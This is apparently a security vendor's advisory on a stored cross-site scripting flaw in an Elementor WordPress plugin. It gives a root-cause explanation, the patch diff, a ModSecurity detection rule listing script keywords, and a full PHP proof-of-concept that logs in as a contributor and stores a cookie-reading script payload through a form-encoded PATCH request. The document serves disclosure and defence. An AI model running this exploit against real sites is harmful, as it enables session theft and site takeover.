Atomic Edge analysis of CVE-2026-6127:
This vulnerability allows authenticated attackers with contributor-level access to perform Stored Cross-Site Scripting (XSS) via the WordPress REST API. The flaw exists in the Elementor Website Builder plugin versions up to and including 4.0.4. The CVSS score is 6.4 (Medium). The core issue is that the plugin’s input sanitization logic, within the `sanitize_post_data` function in `elementor/includes/plugin.php`, fails to properly handle form-encoded REST API requests.
Root Cause: The vulnerability originates in the `sanitize_post_data` method of the `Plugin` class. This method is attached to the `rest_pre_insert_post` filter. The vulnerable code executes `$request_body = json_decode( $request->get_body(), true )` and then accesses `$request_body[‘meta’]`. When a contributor sends a `PATCH` request with a `Content-Type: application/x-www-form-urlencoded` header, the `get_body()` method returns a form-encoded string (e.g., `meta[_elementor_data]=…`). The `json_decode()` call on this string returns `null` because it is not valid JSON. The code then checks `if ( is_null( $meta ) )` and returns early, skipping all sanitization. With the fix, the code uses `$request->get_param( ‘meta’ )`, which correctly parses form-encoded or JSON request bodies, and iterates over a defined array of sanitizable meta keys (`_elementor_data`, `_elementor_page_settings`).
Exploitation: An attacker with contributor-level access sends a `PATCH` request to the WordPress REST API endpoint for a post (e.g., `/wp-json/wp/v2/posts/`). The request uses a `Content-Type: application/x-www-form-urlencoded`. The request body sets `meta[_elementor_data]` to a serialized array that contains malicious JavaScript in string values, such as `a[title]=alert(1)`. Because the old `sanitize_post_data` function receives `null` from `json_decode()`, it exits without sanitizing. The malicious data is then stored into the post meta table via `update_post_meta()`. When a user views the post, the `print_unescaped_setting()` function in the HTML widget outputs the unsanitized data, causing the XSS to execute in the victim’s browser.
Patch Analysis: The patch in `elementor/includes/plugin.php` introduces two significant changes. First, it defines a private constant `SANITIZABLE_META_KEYS` containing `[‘_elementor_data’, ‘_elementor_page_settings’]`. Second, it replaces the `json_decode( $request->get_body(), true )` pattern with `$request->get_param( ‘meta’ )`. The new code then iterates over the allowed meta keys, sanitizes string values with `wp_kses_post()` via `map_deep()`, and sets the sanitized data back on the request object using `$request->set_param( ‘meta’, $meta )`. This change correctly handles both JSON and form-encoded request bodies. The patch also adds a connectivity check in the media processing route (`elementor/app/modules/import-export-customization/data/routes/process-media.php`) but this is unrelated to the core vulnerability fix.
Impact: Successful exploitation allows an attacker to inject arbitrary JavaScript into a page. This script executes whenever a user, including an administrator, visits the affected page. The attacker can then perform actions on behalf of the victim, such as creating new admin accounts, modifying site content, stealing session cookies, or redirecting users to malicious sites. The attack requires an authenticated account with contributor-level permissions, which is a lower bar than administrator access. The stored nature of the XSS means the payload persists and can affect multiple users over time.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/elementor/app/modules/import-export-customization/data/routes/process-media.php
+++ b/elementor/app/modules/import-export-customization/data/routes/process-media.php
@@ -31,6 +31,10 @@
$cloud_kit_library_app = $this->get_cloud_kit_library_app();
+ if ( $cloud_kit_library_app && ! $cloud_kit_library_app->is_connected() ) {
+ return Response::error( ImportExportCustomizationModule::MEDIA_PROCESSING_ERROR, 'Cloud Library is not connected' );
+ }
+
$media_urls = $request->get_param( 'media_urls' );
$kit = $request->get_param( 'kit' );
$quota = null;
--- a/elementor/elementor.php
+++ b/elementor/elementor.php
@@ -3,7 +3,7 @@
* Plugin Name: Elementor
* Description: The Elementor Website Builder has it all: drag and drop page builder, Atomic Editor, pixel perfect design, global and reusable style systems, mobile responsive editing, and more. Get started now!
* Plugin URI: https://elementor.com/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
- * Version: 4.0.4
+ * Version: 4.0.5
* Author: Elementor.com
* Author URI: https://elementor.com/?utm_source=wp-plugins&utm_campaign=author-uri&utm_medium=wp-dash
* Requires PHP: 7.4
@@ -28,7 +28,7 @@
exit; // Exit if accessed directly.
}
-define( 'ELEMENTOR_VERSION', '4.0.4' );
+define( 'ELEMENTOR_VERSION', '4.0.5' );
define( 'ELEMENTOR__FILE__', __FILE__ );
define( 'ELEMENTOR_PLUGIN_BASE', plugin_basename( ELEMENTOR__FILE__ ) );
--- a/elementor/includes/plugin.php
+++ b/elementor/includes/plugin.php
@@ -1,4 +1,5 @@
<?php
+
namespace Elementor;
use ElementorCoreAdminMenuAdmin_Menu_Manager;
@@ -39,8 +40,14 @@
* @since 1.0.0
*/
class Plugin {
+
const ELEMENTOR_DEFAULT_POST_TYPES = [ 'page', 'post' ];
+ private const SANITIZABLE_META_KEYS = [
+ '_elementor_data',
+ '_elementor_page_settings',
+ ];
+
/**
* Instance.
*
@@ -835,24 +842,32 @@
if ( current_user_can( 'unfiltered_html' ) ) {
return $post;
}
- $request_body = json_decode( $request->get_body(), true );
- $meta = $request_body['meta'];
- if ( is_null( $meta ) ) {
+
+ $meta = $request->get_param( 'meta' );
+ if ( empty( $meta ) || ! is_array( $meta ) ) {
return $post;
}
- $elementor_data = $meta['_elementor_data'] ?? [];
- if ( is_string( $elementor_data ) ) {
- $elementor_data = json_decode( $elementor_data );
- }
- if ( is_null( $elementor_data ) ) {
- return $post;
+
+ foreach ( self::SANITIZABLE_META_KEYS as $meta_key ) {
+ $elementor_data = $meta[ $meta_key ] ?? null;
+ if ( is_null( $elementor_data ) ) {
+ continue;
+ }
+ if ( is_string( $elementor_data ) ) {
+ $elementor_data = json_decode( $elementor_data, true );
+ }
+ if ( empty( $elementor_data ) ) {
+ continue;
+ }
+
+ $elementor_data = map_deep($elementor_data, function ( $value ) {
+ return is_bool( $value ) || is_null( $value ) ? $value : wp_kses_post( $value );
+ });
+
+ $meta[ $meta_key ] = wp_json_encode( $elementor_data );
}
- $elementor_data = map_deep( $elementor_data, function ( $value ) {
- return is_bool( $value ) || is_null( $value ) ? $value : wp_kses_post( $value );
- } );
- $request_body['meta']['_elementor_data'] = json_encode( $elementor_data );
- $request->set_body( json_encode( $request_body ) );
+ $request->set_param( 'meta', $meta );
return $post;
}
}
--- a/elementor/vendor/composer/installed.php
+++ b/elementor/vendor/composer/installed.php
@@ -3,7 +3,7 @@
'name' => 'elementor/elementor',
'pretty_version' => '4.00.x-dev',
'version' => '4.00.9999999.9999999-dev',
- 'reference' => '997c31de01ac9769446b8961d7784f28b424c52a',
+ 'reference' => 'c6ec1f1a7924378da02d3b93a25b6bb458e96573',
'type' => 'project',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -13,7 +13,7 @@
'elementor/elementor' => array(
'pretty_version' => '4.00.x-dev',
'version' => '4.00.9999999.9999999-dev',
- 'reference' => '997c31de01ac9769446b8961d7784f28b424c52a',
+ 'reference' => 'c6ec1f1a7924378da02d3b93a25b6bb458e96573',
'type' => 'project',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@rx ^/wp-json/wp/v[0-9]+/posts/[0-9]+$"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6127 - Elementor Stored XSS via REST API',severity:'CRITICAL',tag:'CVE-2026-6127'"
SecRule REQUEST_METHOD "@streq PATCH" "chain"
SecRule REQUEST_BODY "@rx meta[_elementor_data]="
"t:urlDecode,t:lowercase,chain"
SecRule MATCHED_VAR "@rx <script|<svg|<img|onload|onerror|alert|prompt|confirm"
"t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6127 - Elementor Website Builder <= 4.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via REST API
// Configuration: Set these variables to match your target environment
$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor'; // WordPress user with contributor role
$password = 'password'; // User's password
// Step 1: Authenticate to get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
curl_close($ch);
// Extract nonce for REST API from the response (simplified; real PoC might need to parse the admin page)
// For demo, we assume we have a valid nonce or use cookie auth
// Step 2: Get the nonce from the admin page
$admin_url = $target_url . '/wp-admin/post-new.php?post_type=post';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
preg_match('/wpApiSettings = {.*?nonce:.*?"([^"]+)"/', curl_exec($ch), $matches);
$nonce = $matches[1] ?? '';
curl_close($ch);
// Step 3: Create a new post to get a post ID (or use an existing post)
$create_url = $target_url . '/wp-json/wp/v2/posts';
$create_data = array(
'title' => 'XSS Test Post',
'content' => 'Testing',
'status' => 'publish'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $create_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($create_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'X-WP-Nonce: ' . $nonce
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$result = json_decode(curl_exec($ch), true);
$post_id = $result['id'] ?? false;
curl_close($ch);
if (!$post_id) {
die('Failed to create a new post.');
}
echo "Created post with ID: $post_idn";
// Step 4: Craft XSS payload via form-encoded PATCH request (exploiting the flaw)
$patch_url = $target_url . '/wp-json/wp/v2/posts/' . $post_id;
// Build the malicious elementor_data as a serialized array
// The array structure simulates Elementor data with an HTML widget containing XSS
$elementor_data = array(
array(
'id' => 'widget_1',
'elType' => 'widget',
'widgetType' => 'html',
'settings' => array(
'html' => '<script>alert(document.cookie)</script>'
)
)
);
// The request body is form-encoded. The meta[_elementor_data] parameter contains the malicious payload.
// Because the Content-Type is application/x-www-form-urlencoded, json_decode returns null and sanitization is bypassed.
$patch_data = array();
$patch_data['meta[_elementor_data]'] = json_encode($elementor_data);
$patch_data['meta[_elementor_page_settings]'] = '{}';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $patch_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PATCH');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($patch_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/x-www-form-urlencoded',
'X-WP-Nonce: ' . $nonce
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "PATCH response code: $http_coden";
if ($http_code == '200') {
echo "XSS payload stored. Visit: " . $target_url . "/?p=$post_idn";
} else {
echo "Failed to store payload. Check user permissions and nonce.n";
}
// Clean up the temporary cookies file
unlink('/tmp/cookies.txt');